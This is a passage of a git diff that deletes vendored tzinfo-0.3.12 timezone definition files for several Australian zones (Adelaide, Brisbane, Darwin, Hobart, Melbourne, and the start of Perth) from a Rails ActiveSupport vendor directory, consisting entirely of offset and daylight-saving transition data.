-        timezone 'Australia/Adelaide' do |tz|
-          tz.offset :o0, 33260, 0, :LMT
-          tz.offset :o1, 32400, 0, :CST
-          tz.offset :o2, 34200, 0, :CST
-          tz.offset :o3, 34200, 3600, :CST
-          
-          tz.transition 1895, 1, :o1, 10425132497, 4320
-          tz.transition 1899, 4, :o2, 19318201, 8
-          tz.transition 1916, 12, :o3, 3486569911, 1440
-          tz.transition 1917, 3, :o2, 116222983, 48
-          tz.transition 1941, 12, :o3, 38885763, 16
-          tz.transition 1942, 3, :o2, 116661463, 48
-          tz.transition 1942, 9, :o3, 38890067, 16
-          tz.transition 1943, 3, :o2, 116678935, 48
-          tz.transition 1943, 10, :o3, 38896003, 16
-          tz.transition 1944, 3, :o2, 116696407, 48
-          tz.transition 1971, 10, :o3, 57688200
-          tz.transition 1972, 2, :o2, 67969800
-          tz.transition 1972, 10, :o3, 89137800
-          tz.transition 1973, 3, :o2, 100024200
-          tz.transition 1973, 10, :o3, 120587400
-          tz.transition 1974, 3, :o2, 131473800
-          tz.transition 1974, 10, :o3, 152037000
-          tz.transition 1975, 3, :o2, 162923400
-          tz.transition 1975, 10, :o3, 183486600
-          tz.transition 1976, 3, :o2, 194977800
-          tz.transition 1976, 10, :o3, 215541000
-          tz.transition 1977, 3, :o2, 226427400
-          tz.transition 1977, 10, :o3, 246990600
-          tz.transition 1978, 3, :o2, 257877000
-          tz.transition 1978, 10, :o3, 278440200
-          tz.transition 1979, 3, :o2, 289326600
-          tz.transition 1979, 10, :o3, 309889800
-          tz.transition 1980, 3, :o2, 320776200
-          tz.transition 1980, 10, :o3, 341339400
-          tz.transition 1981, 2, :o2, 352225800
-          tz.transition 1981, 10, :o3, 372789000
-          tz.transition 1982, 3, :o2, 384280200
-          tz.transition 1982, 10, :o3, 404843400
-          tz.transition 1983, 3, :o2, 415729800
-          tz.transition 1983, 10, :o3, 436293000
-          tz.transition 1984, 3, :o2, 447179400
-          tz.transition 1984, 10, :o3, 467742600
-          tz.transition 1985, 3, :o2, 478629000
-          tz.transition 1985, 10, :o3, 499192200
-          tz.transition 1986, 3, :o2, 511288200
-          tz.transition 1986, 10, :o3, 530037000
-          tz.transition 1987, 3, :o2, 542737800
-          tz.transition 1987, 10, :o3, 562091400
-          tz.transition 1988, 3, :o2, 574792200
-          tz.transition 1988, 10, :o3, 594145800
-          tz.transition 1989, 3, :o2, 606241800
-          tz.transition 1989, 10, :o3, 625595400
-          tz.transition 1990, 3, :o2, 637691400
-          tz.transition 1990, 10, :o3, 657045000
-          tz.transition 1991, 3, :o2, 667931400
-          tz.transition 1991, 10, :o3, 688494600
-          tz.transition 1992, 3, :o2, 701195400
-          tz.transition 1992, 10, :o3, 719944200
-          tz.transition 1993, 3, :o2, 731435400
-          tz.transition 1993, 10, :o3, 751998600
-          tz.transition 1994, 3, :o2, 764094600
-          tz.transition 1994, 10, :o3, 783448200
-          tz.transition 1995, 3, :o2, 796149000
-          tz.transition 1995, 10, :o3, 814897800
-          tz.transition 1996, 3, :o2, 828203400
-          tz.transition 1996, 10, :o3, 846347400
-          tz.transition 1997, 3, :o2, 859653000
-          tz.transition 1997, 10, :o3, 877797000
-          tz.transition 1998, 3, :o2, 891102600
-          tz.transition 1998, 10, :o3, 909246600
-          tz.transition 1999, 3, :o2, 922552200
-          tz.transition 1999, 10, :o3, 941301000
-          tz.transition 2000, 3, :o2, 954001800
-          tz.transition 2000, 10, :o3, 972750600
-          tz.transition 2001, 3, :o2, 985451400
-          tz.transition 2001, 10, :o3, 1004200200
-          tz.transition 2002, 3, :o2, 1017505800
-          tz.transition 2002, 10, :o3, 1035649800
-          tz.transition 2003, 3, :o2, 1048955400
-          tz.transition 2003, 10, :o3, 1067099400
-          tz.transition 2004, 3, :o2, 1080405000
-          tz.transition 2004, 10, :o3, 1099153800
-          tz.transition 2005, 3, :o2, 1111854600
-          tz.transition 2005, 10, :o3, 1130603400
-          tz.transition 2006, 4, :o2, 1143909000
-          tz.transition 2006, 10, :o3, 1162053000
-          tz.transition 2007, 3, :o2, 1174753800
-          tz.transition 2007, 10, :o3, 1193502600
-          tz.transition 2008, 4, :o2, 1207413000
-          tz.transition 2008, 10, :o3, 1223137800
-          tz.transition 2009, 4, :o2, 1238862600
-          tz.transition 2009, 10, :o3, 1254587400
-          tz.transition 2010, 4, :o2, 1270312200
-          tz.transition 2010, 10, :o3, 1286037000
-          tz.transition 2011, 4, :o2, 1301761800
-          tz.transition 2011, 10, :o3, 1317486600
-          tz.transition 2012, 3, :o2, 1333211400
-          tz.transition 2012, 10, :o3, 1349541000
-          tz.transition 2013, 4, :o2, 1365265800
-          tz.transition 2013, 10, :o3, 1380990600
-          tz.transition 2014, 4, :o2, 1396715400
-          tz.transition 2014, 10, :o3, 1412440200
-          tz.transition 2015, 4, :o2, 1428165000
-          tz.transition 2015, 10, :o3, 1443889800
-          tz.transition 2016, 4, :o2, 1459614600
-          tz.transition 2016, 10, :o3, 1475339400
-          tz.transition 2017, 4, :o2, 1491064200
-          tz.transition 2017, 9, :o3, 1506789000
-          tz.transition 2018, 3, :o2, 1522513800
-          tz.transition 2018, 10, :o3, 1538843400
-          tz.transition 2019, 4, :o2, 1554568200
-          tz.transition 2019, 10, :o3, 1570293000
-          tz.transition 2020, 4, :o2, 1586017800
-          tz.transition 2020, 10, :o3, 1601742600
-          tz.transition 2021, 4, :o2, 1617467400
-          tz.transition 2021, 10, :o3, 1633192200
-          tz.transition 2022, 4, :o2, 1648917000
-          tz.transition 2022, 10, :o3, 1664641800
-          tz.transition 2023, 4, :o2, 1680366600
-          tz.transition 2023, 9, :o3, 1696091400
-          tz.transition 2024, 4, :o2, 1712421000
-          tz.transition 2024, 10, :o3, 1728145800
-          tz.transition 2025, 4, :o2, 1743870600
-          tz.transition 2025, 10, :o3, 1759595400
-          tz.transition 2026, 4, :o2, 1775320200
-          tz.transition 2026, 10, :o3, 1791045000
-          tz.transition 2027, 4, :o2, 1806769800
-          tz.transition 2027, 10, :o3, 1822494600
-          tz.transition 2028, 4, :o2, 1838219400
-          tz.transition 2028, 9, :o3, 1853944200
-          tz.transition 2029, 3, :o2, 1869669000
-          tz.transition 2029, 10, :o3, 1885998600
-          tz.transition 2030, 4, :o2, 1901723400
-          tz.transition 2030, 10, :o3, 1917448200
-          tz.transition 2031, 4, :o2, 1933173000
-          tz.transition 2031, 10, :o3, 1948897800
-          tz.transition 2032, 4, :o2, 1964622600
-          tz.transition 2032, 10, :o3, 1980347400
-          tz.transition 2033, 4, :o2, 1996072200
-          tz.transition 2033, 10, :o3, 2011797000
-          tz.transition 2034, 4, :o2, 2027521800
-          tz.transition 2034, 9, :o3, 2043246600
-          tz.transition 2035, 3, :o2, 2058971400
-          tz.transition 2035, 10, :o3, 2075301000
-          tz.transition 2036, 4, :o2, 2091025800
-          tz.transition 2036, 10, :o3, 2106750600
-          tz.transition 2037, 4, :o2, 2122475400
-          tz.transition 2037, 10, :o3, 2138200200
-          tz.transition 2038, 4, :o2, 39448275, 16
-          tz.transition 2038, 10, :o3, 39451187, 16
-          tz.transition 2039, 4, :o2, 39454099, 16
-          tz.transition 2039, 10, :o3, 39457011, 16
-          tz.transition 2040, 3, :o2, 39459923, 16
-          tz.transition 2040, 10, :o3, 39462947, 16
-          tz.transition 2041, 4, :o2, 39465859, 16
-          tz.transition 2041, 10, :o3, 39468771, 16
-          tz.transition 2042, 4, :o2, 39471683, 16
-          tz.transition 2042, 10, :o3, 39474595, 16
-          tz.transition 2043, 4, :o2, 39477507, 16
-          tz.transition 2043, 10, :o3, 39480419, 16
-          tz.transition 2044, 4, :o2, 39483331, 16
-          tz.transition 2044, 10, :o3, 39486243, 16
-          tz.transition 2045, 4, :o2, 39489155, 16
-          tz.transition 2045, 9, :o3, 39492067, 16
-          tz.transition 2046, 3, :o2, 39494979, 16
-          tz.transition 2046, 10, :o3, 39498003, 16
-          tz.transition 2047, 4, :o2, 39500915, 16
-          tz.transition 2047, 10, :o3, 39503827, 16
-          tz.transition 2048, 4, :o2, 39506739, 16
-          tz.transition 2048, 10, :o3, 39509651, 16
-          tz.transition 2049, 4, :o2, 39512563, 16
-          tz.transition 2049, 10, :o3, 39515475, 16
-          tz.transition 2050, 4, :o2, 39518387, 16
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb
deleted file mode 100644
index dd85ddae..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Brisbane
-        include TimezoneDefinition
-        
-        timezone 'Australia/Brisbane' do |tz|
-          tz.offset :o0, 36728, 0, :LMT
-          tz.offset :o1, 36000, 0, :EST
-          tz.offset :o2, 36000, 3600, :EST
-          
-          tz.transition 1894, 12, :o1, 26062496009, 10800
-          tz.transition 1916, 12, :o2, 3486569881, 1440
-          tz.transition 1917, 3, :o1, 19370497, 8
-          tz.transition 1941, 12, :o2, 14582161, 6
-          tz.transition 1942, 3, :o1, 19443577, 8
-          tz.transition 1942, 9, :o2, 14583775, 6
-          tz.transition 1943, 3, :o1, 19446489, 8
-          tz.transition 1943, 10, :o2, 14586001, 6
-          tz.transition 1944, 3, :o1, 19449401, 8
-          tz.transition 1971, 10, :o2, 57686400
-          tz.transition 1972, 2, :o1, 67968000
-          tz.transition 1989, 10, :o2, 625593600
-          tz.transition 1990, 3, :o1, 636480000
-          tz.transition 1990, 10, :o2, 657043200
-          tz.transition 1991, 3, :o1, 667929600
-          tz.transition 1991, 10, :o2, 688492800
-          tz.transition 1992, 2, :o1, 699379200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb
deleted file mode 100644
index 17de8812..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Darwin
-        include TimezoneDefinition
-        
-        timezone 'Australia/Darwin' do |tz|
-          tz.offset :o0, 31400, 0, :LMT
-          tz.offset :o1, 32400, 0, :CST
-          tz.offset :o2, 34200, 0, :CST
-          tz.offset :o3, 34200, 3600, :CST
-          
-          tz.transition 1895, 1, :o1, 1042513259, 432
-          tz.transition 1899, 4, :o2, 19318201, 8
-          tz.transition 1916, 12, :o3, 3486569911, 1440
-          tz.transition 1917, 3, :o2, 116222983, 48
-          tz.transition 1941, 12, :o3, 38885763, 16
-          tz.transition 1942, 3, :o2, 116661463, 48
-          tz.transition 1942, 9, :o3, 38890067, 16
-          tz.transition 1943, 3, :o2, 116678935, 48
-          tz.transition 1943, 10, :o3, 38896003, 16
-          tz.transition 1944, 3, :o2, 116696407, 48
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb
deleted file mode 100644
index 11384b98..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb
+++ /dev/null
@@ -1,193 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Hobart
-        include TimezoneDefinition
-        
-        timezone 'Australia/Hobart' do |tz|
-          tz.offset :o0, 35356, 0, :LMT
-          tz.offset :o1, 36000, 0, :EST
-          tz.offset :o2, 36000, 3600, :EST
-          
-          tz.transition 1895, 8, :o1, 52130241161, 21600
-          tz.transition 1916, 9, :o2, 14526823, 6
-          tz.transition 1917, 3, :o1, 19370497, 8
-          tz.transition 1941, 12, :o2, 14582161, 6
-          tz.transition 1942, 3, :o1, 19443577, 8
-          tz.transition 1942, 9, :o2, 14583775, 6
-          tz.transition 1943, 3, :o1, 19446489, 8
-          tz.transition 1943, 10, :o2, 14586001, 6
-          tz.transition 1944, 3, :o1, 19449401, 8
-          tz.transition 1967, 9, :o2, 14638585, 6
-          tz.transition 1968, 3, :o1, 14639677, 6
-          tz.transition 1968, 10, :o2, 14640937, 6
-          tz.transition 1969, 3, :o1, 14641735, 6
-          tz.transition 1969, 10, :o2, 14643121, 6
-          tz.transition 1970, 3, :o1, 5673600
-          tz.transition 1970, 10, :o2, 25632000
-          tz.transition 1971, 3, :o1, 37728000
-          tz.transition 1971, 10, :o2, 57686400
-          tz.transition 1972, 2, :o1, 67968000
-          tz.transition 1972, 10, :o2, 89136000
-          tz.transition 1973, 3, :o1, 100022400
-          tz.transition 1973, 10, :o2, 120585600
-          tz.transition 1974, 3, :o1, 131472000
-          tz.transition 1974, 10, :o2, 152035200
-          tz.transition 1975, 3, :o1, 162921600
-          tz.transition 1975, 10, :o2, 183484800
-          tz.transition 1976, 3, :o1, 194976000
-          tz.transition 1976, 10, :o2, 215539200
-          tz.transition 1977, 3, :o1, 226425600
-          tz.transition 1977, 10, :o2, 246988800
-          tz.transition 1978, 3, :o1, 257875200
-          tz.transition 1978, 10, :o2, 278438400
-          tz.transition 1979, 3, :o1, 289324800
-          tz.transition 1979, 10, :o2, 309888000
-          tz.transition 1980, 3, :o1, 320774400
-          tz.transition 1980, 10, :o2, 341337600
-          tz.transition 1981, 2, :o1, 352224000
-          tz.transition 1981, 10, :o2, 372787200
-          tz.transition 1982, 3, :o1, 386092800
-          tz.transition 1982, 10, :o2, 404841600
-          tz.transition 1983, 3, :o1, 417542400
-          tz.transition 1983, 10, :o2, 436291200
-          tz.transition 1984, 3, :o1, 447177600
-          tz.transition 1984, 10, :o2, 467740800
-          tz.transition 1985, 3, :o1, 478627200
-          tz.transition 1985, 10, :o2, 499190400
-          tz.transition 1986, 3, :o1, 510076800
-          tz.transition 1986, 10, :o2, 530035200
-          tz.transition 1987, 3, :o1, 542736000
-          tz.transition 1987, 10, :o2, 562089600
-          tz.transition 1988, 3, :o1, 574790400
-          tz.transition 1988, 10, :o2, 594144000
-          tz.transition 1989, 3, :o1, 606240000
-          tz.transition 1989, 10, :o2, 625593600
-          tz.transition 1990, 3, :o1, 637689600
-          tz.transition 1990, 10, :o2, 657043200
-          tz.transition 1991, 3, :o1, 670348800
-          tz.transition 1991, 10, :o2, 686678400
-          tz.transition 1992, 3, :o1, 701798400
-          tz.transition 1992, 10, :o2, 718128000
-          tz.transition 1993, 3, :o1, 733248000
-          tz.transition 1993, 10, :o2, 749577600
-          tz.transition 1994, 3, :o1, 764697600
-          tz.transition 1994, 10, :o2, 781027200
-          tz.transition 1995, 3, :o1, 796147200
-          tz.transition 1995, 9, :o2, 812476800
-          tz.transition 1996, 3, :o1, 828201600
-          tz.transition 1996, 10, :o2, 844531200
-          tz.transition 1997, 3, :o1, 859651200
-          tz.transition 1997, 10, :o2, 875980800
-          tz.transition 1998, 3, :o1, 891100800
-          tz.transition 1998, 10, :o2, 907430400
-          tz.transition 1999, 3, :o1, 922550400
-          tz.transition 1999, 10, :o2, 938880000
-          tz.transition 2000, 3, :o1, 954000000
-          tz.transition 2000, 8, :o2, 967305600
-          tz.transition 2001, 3, :o1, 985449600
-          tz.transition 2001, 10, :o2, 1002384000
-          tz.transition 2002, 3, :o1, 1017504000
-          tz.transition 2002, 10, :o2, 1033833600
-          tz.transition 2003, 3, :o1, 1048953600
-          tz.transition 2003, 10, :o2, 1065283200
-          tz.transition 2004, 3, :o1, 1080403200
-          tz.transition 2004, 10, :o2, 1096732800
-          tz.transition 2005, 3, :o1, 1111852800
-          tz.transition 2005, 10, :o2, 1128182400
-          tz.transition 2006, 4, :o1, 1143907200
-          tz.transition 2006, 9, :o2, 1159632000
-          tz.transition 2007, 3, :o1, 1174752000
-          tz.transition 2007, 10, :o2, 1191686400
-          tz.transition 2008, 4, :o1, 1207411200
-          tz.transition 2008, 10, :o2, 1223136000
-          tz.transition 2009, 4, :o1, 1238860800
-          tz.transition 2009, 10, :o2, 1254585600
-          tz.transition 2010, 4, :o1, 1270310400
-          tz.transition 2010, 10, :o2, 1286035200
-          tz.transition 2011, 4, :o1, 1301760000
-          tz.transition 2011, 10, :o2, 1317484800
-          tz.transition 2012, 3, :o1, 1333209600
-          tz.transition 2012, 10, :o2, 1349539200
-          tz.transition 2013, 4, :o1, 1365264000
-          tz.transition 2013, 10, :o2, 1380988800
-          tz.transition 2014, 4, :o1, 1396713600
-          tz.transition 2014, 10, :o2, 1412438400
-          tz.transition 2015, 4, :o1, 1428163200
-          tz.transition 2015, 10, :o2, 1443888000
-          tz.transition 2016, 4, :o1, 1459612800
-          tz.transition 2016, 10, :o2, 1475337600
-          tz.transition 2017, 4, :o1, 1491062400
-          tz.transition 2017, 9, :o2, 1506787200
-          tz.transition 2018, 3, :o1, 1522512000
-          tz.transition 2018, 10, :o2, 1538841600
-          tz.transition 2019, 4, :o1, 1554566400
-          tz.transition 2019, 10, :o2, 1570291200
-          tz.transition 2020, 4, :o1, 1586016000
-          tz.transition 2020, 10, :o2, 1601740800
-          tz.transition 2021, 4, :o1, 1617465600
-          tz.transition 2021, 10, :o2, 1633190400
-          tz.transition 2022, 4, :o1, 1648915200
-          tz.transition 2022, 10, :o2, 1664640000
-          tz.transition 2023, 4, :o1, 1680364800
-          tz.transition 2023, 9, :o2, 1696089600
-          tz.transition 2024, 4, :o1, 1712419200
-          tz.transition 2024, 10, :o2, 1728144000
-          tz.transition 2025, 4, :o1, 1743868800
-          tz.transition 2025, 10, :o2, 1759593600
-          tz.transition 2026, 4, :o1, 1775318400
-          tz.transition 2026, 10, :o2, 1791043200
-          tz.transition 2027, 4, :o1, 1806768000
-          tz.transition 2027, 10, :o2, 1822492800
-          tz.transition 2028, 4, :o1, 1838217600
-          tz.transition 2028, 9, :o2, 1853942400
-          tz.transition 2029, 3, :o1, 1869667200
-          tz.transition 2029, 10, :o2, 1885996800
-          tz.transition 2030, 4, :o1, 1901721600
-          tz.transition 2030, 10, :o2, 1917446400
-          tz.transition 2031, 4, :o1, 1933171200
-          tz.transition 2031, 10, :o2, 1948896000
-          tz.transition 2032, 4, :o1, 1964620800
-          tz.transition 2032, 10, :o2, 1980345600
-          tz.transition 2033, 4, :o1, 1996070400
-          tz.transition 2033, 10, :o2, 2011795200
-          tz.transition 2034, 4, :o1, 2027520000
-          tz.transition 2034, 9, :o2, 2043244800
-          tz.transition 2035, 3, :o1, 2058969600
-          tz.transition 2035, 10, :o2, 2075299200
-          tz.transition 2036, 4, :o1, 2091024000
-          tz.transition 2036, 10, :o2, 2106748800
-          tz.transition 2037, 4, :o1, 2122473600
-          tz.transition 2037, 10, :o2, 2138198400
-          tz.transition 2038, 4, :o1, 14793103, 6
-          tz.transition 2038, 10, :o2, 14794195, 6
-          tz.transition 2039, 4, :o1, 14795287, 6
-          tz.transition 2039, 10, :o2, 14796379, 6
-          tz.transition 2040, 3, :o1, 14797471, 6
-          tz.transition 2040, 10, :o2, 14798605, 6
-          tz.transition 2041, 4, :o1, 14799697, 6
-          tz.transition 2041, 10, :o2, 14800789, 6
-          tz.transition 2042, 4, :o1, 14801881, 6
-          tz.transition 2042, 10, :o2, 14802973, 6
-          tz.transition 2043, 4, :o1, 14804065, 6
-          tz.transition 2043, 10, :o2, 14805157, 6
-          tz.transition 2044, 4, :o1, 14806249, 6
-          tz.transition 2044, 10, :o2, 14807341, 6
-          tz.transition 2045, 4, :o1, 14808433, 6
-          tz.transition 2045, 9, :o2, 14809525, 6
-          tz.transition 2046, 3, :o1, 14810617, 6
-          tz.transition 2046, 10, :o2, 14811751, 6
-          tz.transition 2047, 4, :o1, 14812843, 6
-          tz.transition 2047, 10, :o2, 14813935, 6
-          tz.transition 2048, 4, :o1, 14815027, 6
-          tz.transition 2048, 10, :o2, 14816119, 6
-          tz.transition 2049, 4, :o1, 14817211, 6
-          tz.transition 2049, 10, :o2, 14818303, 6
-          tz.transition 2050, 4, :o1, 14819395, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb
deleted file mode 100644
index c1304488..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Melbourne
-        include TimezoneDefinition
-        
-        timezone 'Australia/Melbourne' do |tz|
-          tz.offset :o0, 34792, 0, :LMT
-          tz.offset :o1, 36000, 0, :EST
-          tz.offset :o2, 36000, 3600, :EST
-          
-          tz.transition 1895, 1, :o1, 26062831051, 10800
-          tz.transition 1916, 12, :o2, 3486569881, 1440
-          tz.transition 1917, 3, :o1, 19370497, 8
-          tz.transition 1941, 12, :o2, 14582161, 6
-          tz.transition 1942, 3, :o1, 19443577, 8
-          tz.transition 1942, 9, :o2, 14583775, 6
-          tz.transition 1943, 3, :o1, 19446489, 8
-          tz.transition 1943, 10, :o2, 14586001, 6
-          tz.transition 1944, 3, :o1, 19449401, 8
-          tz.transition 1971, 10, :o2, 57686400
-          tz.transition 1972, 2, :o1, 67968000
-          tz.transition 1972, 10, :o2, 89136000
-          tz.transition 1973, 3, :o1, 100022400
-          tz.transition 1973, 10, :o2, 120585600
-          tz.transition 1974, 3, :o1, 131472000
-          tz.transition 1974, 10, :o2, 152035200
-          tz.transition 1975, 3, :o1, 162921600
-          tz.transition 1975, 10, :o2, 183484800
-          tz.transition 1976, 3, :o1, 194976000
-          tz.transition 1976, 10, :o2, 215539200
-          tz.transition 1977, 3, :o1, 226425600
-          tz.transition 1977, 10, :o2, 246988800
-          tz.transition 1978, 3, :o1, 257875200
-          tz.transition 1978, 10, :o2, 278438400
-          tz.transition 1979, 3, :o1, 289324800
-          tz.transition 1979, 10, :o2, 309888000
-          tz.transition 1980, 3, :o1, 320774400
-          tz.transition 1980, 10, :o2, 341337600
-          tz.transition 1981, 2, :o1, 352224000
-          tz.transition 1981, 10, :o2, 372787200
-          tz.transition 1982, 3, :o1, 384278400
-          tz.transition 1982, 10, :o2, 404841600
-          tz.transition 1983, 3, :o1, 415728000
-          tz.transition 1983, 10, :o2, 436291200
-          tz.transition 1984, 3, :o1, 447177600
-          tz.transition 1984, 10, :o2, 467740800
-          tz.transition 1985, 3, :o1, 478627200
-          tz.transition 1985, 10, :o2, 499190400
-          tz.transition 1986, 3, :o1, 511286400
-          tz.transition 1986, 10, :o2, 530035200
-          tz.transition 1987, 3, :o1, 542736000
-          tz.transition 1987, 10, :o2, 561484800
-          tz.transition 1988, 3, :o1, 574790400
-          tz.transition 1988, 10, :o2, 594144000
-          tz.transition 1989, 3, :o1, 606240000
-          tz.transition 1989, 10, :o2, 625593600
-          tz.transition 1990, 3, :o1, 637689600
-          tz.transition 1990, 10, :o2, 657043200
-          tz.transition 1991, 3, :o1, 667929600
-          tz.transition 1991, 10, :o2, 688492800
-          tz.transition 1992, 2, :o1, 699379200
-          tz.transition 1992, 10, :o2, 719942400
-          tz.transition 1993, 3, :o1, 731433600
-          tz.transition 1993, 10, :o2, 751996800
-          tz.transition 1994, 3, :o1, 762883200
-          tz.transition 1994, 10, :o2, 783446400
-          tz.transition 1995, 3, :o1, 796147200
-          tz.transition 1995, 10, :o2, 814896000
-          tz.transition 1996, 3, :o1, 828201600
-          tz.transition 1996, 10, :o2, 846345600
-          tz.transition 1997, 3, :o1, 859651200
-          tz.transition 1997, 10, :o2, 877795200
-          tz.transition 1998, 3, :o1, 891100800
-          tz.transition 1998, 10, :o2, 909244800
-          tz.transition 1999, 3, :o1, 922550400
-          tz.transition 1999, 10, :o2, 941299200
-          tz.transition 2000, 3, :o1, 954000000
-          tz.transition 2000, 8, :o2, 967305600
-          tz.transition 2001, 3, :o1, 985449600
-          tz.transition 2001, 10, :o2, 1004198400
-          tz.transition 2002, 3, :o1, 1017504000
-          tz.transition 2002, 10, :o2, 1035648000
-          tz.transition 2003, 3, :o1, 1048953600
-          tz.transition 2003, 10, :o2, 1067097600
-          tz.transition 2004, 3, :o1, 1080403200
-          tz.transition 2004, 10, :o2, 1099152000
-          tz.transition 2005, 3, :o1, 1111852800
-          tz.transition 2005, 10, :o2, 1130601600
-          tz.transition 2006, 4, :o1, 1143907200
-          tz.transition 2006, 10, :o2, 1162051200
-          tz.transition 2007, 3, :o1, 1174752000
-          tz.transition 2007, 10, :o2, 1193500800
-          tz.transition 2008, 4, :o1, 1207411200
-          tz.transition 2008, 10, :o2, 1223136000
-          tz.transition 2009, 4, :o1, 1238860800
-          tz.transition 2009, 10, :o2, 1254585600
-          tz.transition 2010, 4, :o1, 1270310400
-          tz.transition 2010, 10, :o2, 1286035200
-          tz.transition 2011, 4, :o1, 1301760000
-          tz.transition 2011, 10, :o2, 1317484800
-          tz.transition 2012, 3, :o1, 1333209600
-          tz.transition 2012, 10, :o2, 1349539200
-          tz.transition 2013, 4, :o1, 1365264000
-          tz.transition 2013, 10, :o2, 1380988800
-          tz.transition 2014, 4, :o1, 1396713600
-          tz.transition 2014, 10, :o2, 1412438400
-          tz.transition 2015, 4, :o1, 1428163200
-          tz.transition 2015, 10, :o2, 1443888000
-          tz.transition 2016, 4, :o1, 1459612800
-          tz.transition 2016, 10, :o2, 1475337600
-          tz.transition 2017, 4, :o1, 1491062400
-          tz.transition 2017, 9, :o2, 1506787200
-          tz.transition 2018, 3, :o1, 1522512000
-          tz.transition 2018, 10, :o2, 1538841600
-          tz.transition 2019, 4, :o1, 1554566400
-          tz.transition 2019, 10, :o2, 1570291200
-          tz.transition 2020, 4, :o1, 1586016000
-          tz.transition 2020, 10, :o2, 1601740800
-          tz.transition 2021, 4, :o1, 1617465600
-          tz.transition 2021, 10, :o2, 1633190400
-          tz.transition 2022, 4, :o1, 1648915200
-          tz.transition 2022, 10, :o2, 1664640000
-          tz.transition 2023, 4, :o1, 1680364800
-          tz.transition 2023, 9, :o2, 1696089600
-          tz.transition 2024, 4, :o1, 1712419200
-          tz.transition 2024, 10, :o2, 1728144000
-          tz.transition 2025, 4, :o1, 1743868800
-          tz.transition 2025, 10, :o2, 1759593600
-          tz.transition 2026, 4, :o1, 1775318400
-          tz.transition 2026, 10, :o2, 1791043200
-          tz.transition 2027, 4, :o1, 1806768000
-          tz.transition 2027, 10, :o2, 1822492800
-          tz.transition 2028, 4, :o1, 1838217600
-          tz.transition 2028, 9, :o2, 1853942400
-          tz.transition 2029, 3, :o1, 1869667200
-          tz.transition 2029, 10, :o2, 1885996800
-          tz.transition 2030, 4, :o1, 1901721600
-          tz.transition 2030, 10, :o2, 1917446400
-          tz.transition 2031, 4, :o1, 1933171200
-          tz.transition 2031, 10, :o2, 1948896000
-          tz.transition 2032, 4, :o1, 1964620800
-          tz.transition 2032, 10, :o2, 1980345600
-          tz.transition 2033, 4, :o1, 1996070400
-          tz.transition 2033, 10, :o2, 2011795200
-          tz.transition 2034, 4, :o1, 2027520000
-          tz.transition 2034, 9, :o2, 2043244800
-          tz.transition 2035, 3, :o1, 2058969600
-          tz.transition 2035, 10, :o2, 2075299200
-          tz.transition 2036, 4, :o1, 2091024000
-          tz.transition 2036, 10, :o2, 2106748800
-          tz.transition 2037, 4, :o1, 2122473600
-          tz.transition 2037, 10, :o2, 2138198400
-          tz.transition 2038, 4, :o1, 14793103, 6
-          tz.transition 2038, 10, :o2, 14794195, 6
-          tz.transition 2039, 4, :o1, 14795287, 6
-          tz.transition 2039, 10, :o2, 14796379, 6
-          tz.transition 2040, 3, :o1, 14797471, 6
-          tz.transition 2040, 10, :o2, 14798605, 6
-          tz.transition 2041, 4, :o1, 14799697, 6
-          tz.transition 2041, 10, :o2, 14800789, 6
-          tz.transition 2042, 4, :o1, 14801881, 6
-          tz.transition 2042, 10, :o2, 14802973, 6
-          tz.transition 2043, 4, :o1, 14804065, 6
-          tz.transition 2043, 10, :o2, 14805157, 6
-          tz.transition 2044, 4, :o1, 14806249, 6
-          tz.transition 2044, 10, :o2, 14807341, 6
-          tz.transition 2045, 4, :o1, 14808433, 6
-          tz.transition 2045, 9, :o2, 14809525, 6
-          tz.transition 2046, 3, :o1, 14810617, 6
-          tz.transition 2046, 10, :o2, 14811751, 6
-          tz.transition 2047, 4, :o1, 14812843, 6
-          tz.transition 2047, 10, :o2, 14813935, 6
-          tz.transition 2048, 4, :o1, 14815027, 6
-          tz.transition 2048, 10, :o2, 14816119, 6
-          tz.transition 2049, 4, :o1, 14817211, 6
-          tz.transition 2049, 10, :o2, 14818303, 6
-          tz.transition 2050, 4, :o1, 14819395, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb
deleted file mode 100644
index d9e66f14..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb
+++ /dev/null
@@ -1,37 +0,0 @@
